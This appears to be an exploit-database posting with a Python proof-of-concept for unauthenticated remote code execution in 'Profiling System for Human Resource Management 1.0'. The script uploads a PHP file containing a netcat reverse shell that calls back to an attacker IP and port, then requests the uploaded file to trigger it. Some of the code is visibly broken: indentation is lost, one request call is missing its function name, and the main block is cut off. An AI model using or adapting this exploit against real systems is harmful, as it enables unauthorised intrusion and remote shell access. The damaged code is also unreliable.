Profiling System For Human Resource Management 1.0 Remote Code Execution

Profiling System for Human Resource Management version 1.0 suffers from a remote code execution vulnerability.

MD5 | ed72241bce9c3fd80331a96e1d6a858a

# Exploit Title: Profiling System for Human Resource Management 1.0 - Remote Code Execution (Unauthenticated)
# Date: 19-03-2021
# Exploit Author: Christian Vierschilling
# Vendor Homepage:
# Software Link:
# Software Download:
# Version: 1.0
# Tested on: PHP 7.4.14, Linux x64_x86

# --- Description --- #

# The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.

# --- Proof of concept --- #

import random
import sys
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder

def file_upload(target_ip, attacker_ip, attacker_port):
random_number = str(random.randint(100000000,999999999))
file_name = random_number + "shell.php"
revshell_string = '<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port)
m = MultipartEncoder(fields={'upload': '', 'per_file': (file_name, revshell_string, 'application/x-php')})
print("(+) Uploading php reverse shell file ..")
r1 ='http://{}/ProfilingSystem/add_file_query.php'.format(target_ip), data=m, headers={'Content-Type': m.content_type})
if not "Sorry, there was an error uploading your file." in r1.text:
print("(+) File uploaded to: http://{}/ProfilingSystem/uploads/{}".format(target_ip,file_name))
return file_name
print("(-) Oh noes, error occured while uploading the file.. quitting!")

def trigger_shell(target_ip, target_file_name):
url = 'http://{}/ProfilingSystem/uploads/{}'.format(target_ip, target_file_name)
print("(+) Now trying to trigger our shell..")
r2 = requests.get(url)
if r2.status_code != 200:
print("(-) Oh noes, we can't reach the uploaded file.. did it upload correctly?! Quitting!")
return None

def main():
if len(sys.argv) != 4:
print('(+) usage: %s <target ip> <attacker ip> <attacker port>' % sys.argv[0])
print('(+) eg: %s 4444' % sys.argv[0])

print("--- Exploiting today: Profiling System for Human Resource Management 1.0 ---")
target_ip = sys.argv[1]
attacker_ip = sys.argv[2]
attacker_port = sys.argv[3]

target_file_name = file_upload(target_ip, attacker_ip, attacker_port)
trigger_shell(target_ip, target_file_name)

print("(+) done!")

if __name__ == "__main__":

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